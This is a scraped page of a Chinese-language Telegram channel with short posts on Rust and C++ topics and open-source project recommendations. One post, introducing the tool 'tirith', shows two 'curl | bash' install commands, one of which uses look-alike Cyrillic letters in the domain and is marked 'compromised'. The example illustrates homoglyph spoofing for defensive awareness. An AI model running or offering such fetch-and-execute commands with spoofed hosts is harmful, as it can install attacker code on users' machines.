codedump的电报频道
5.15K subscribers
194 photos
5 videos
5 files
720 links
发布个人博客(主页 codedump.info)、想法、推荐等。RSS订阅地址:https://rsshub.app/telegram/channel/codedump_notes,过往汇总搜索可以到:https://app.shokichan.com/c/tg/codedump_notes。
Download Telegram
#Rust
#C++
2024年了,C++项目解决库依赖管理还是一坨XX
🥰132👍1
#Rust
国内知名Rust社区贡献者Folyd,之前曾经给Rust贡献了一个优化的二分查找实现:《优化 Rust 标准库的 binary_search》。

但是这个实现,会导致在有多个重复元素的情况下,返回是不确定的,最终导致了币圈某产品的翻车,这里可以看到作者的后续推文
我们回到这个问题本身:除了撤销这个修改,下一步应该在Rust标准库里增加多个重复元素的测试用例了吧?
🤡7👍2🤷‍♀1👎1
#Rust
距离Rust 1.0发布,刚好过去了十年:《10 Years of Stable Rust: An Infrastructure Story

2006 年,软件开发者 Graydon Hoare 在 Mozilla 工作期间开始了 Rust 这个个人项目。根据《麻省理工科技评论》的一次采访,Rust 的灵感来自 Hoare 公寓楼里一部坏了的电梯。电梯操作系统的软件崩溃了,Hoare 意识到这类问题通常是由程序如何使用内存引起的。

通常情况下,这类设备的软件是用 C 或 C++编写的,但这些语言需要进行大量的内存管理,这可能会导致错误,从而导致系统崩溃。因此,霍尔开始着手研究如何创建一种既紧凑又无内存错误的编程语言。
他后来向一位经理展示了这个项目,这导致 Mozilla 在 2009 年赞助它,作为将该语言纳入实验性浏览器引擎开发的长期努力的一部分。2010 年,Mozilla 研究部正式宣布了 Rust 项目,并将源代码作为开源项目向公众发布。经过几年的开发,Rust 达到了稳定和成熟的状态,并于 2015 年 5 月发布了 Rust 1.0 版本。这个里程碑标志着 Rust 已经准备好用于生产,并为开发人员提供了一个基础。
9👍1🔥1
#Rust
之前一直以为,在Rust代码中只有返回Result类型的函数可以用?提前返回,没想到可不止这个类型,参见:https://doc.rust-lang.org/std/ops/trait.Try.html
👍31
#C++
#Rust
#类型推断
C++后来引入了auto关键字用于类型推断,但是这个类型系统在Rust面前就是个弟弟,因为经常会给推出来可能编译报警的类型。

例如代码:

for (auto i = 0; i < expected_actions.size(); ++i)


这在某些编译器上会报警:comparison of integer expressions of different signedness

这是因为这里的auto i进行类型推断时使用了int,而vector的size类型是size_t,一个是有符号整型,一个是无符号整型,在数据溢出的时候这个对比会判断出错,所以才有的这个告警。

我的问题是:既然如此,这里的auto i就应该推断成size_t才对。不然要你这个类型推断有何用啊?
1
#开源项目
#系统编程
#Rust

教学项目NanoCore,采用Rust编写的8位CPU模拟器,用来理解指令集设计、CPU架构原理等。
15
#开源项目
#Rust
tirith

仅凭肉眼,根本看不出下面两个curl命令的区别:
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
👍35
#Rust
#开源项目

numa,作者从0使用Rust打造的便携式DNS服务,将本地开发反向代理、自动 HTTPS 证书签发、广告拦截与加密隐私保护融为一体,适合开发者和网络极客的本地网络。
👍41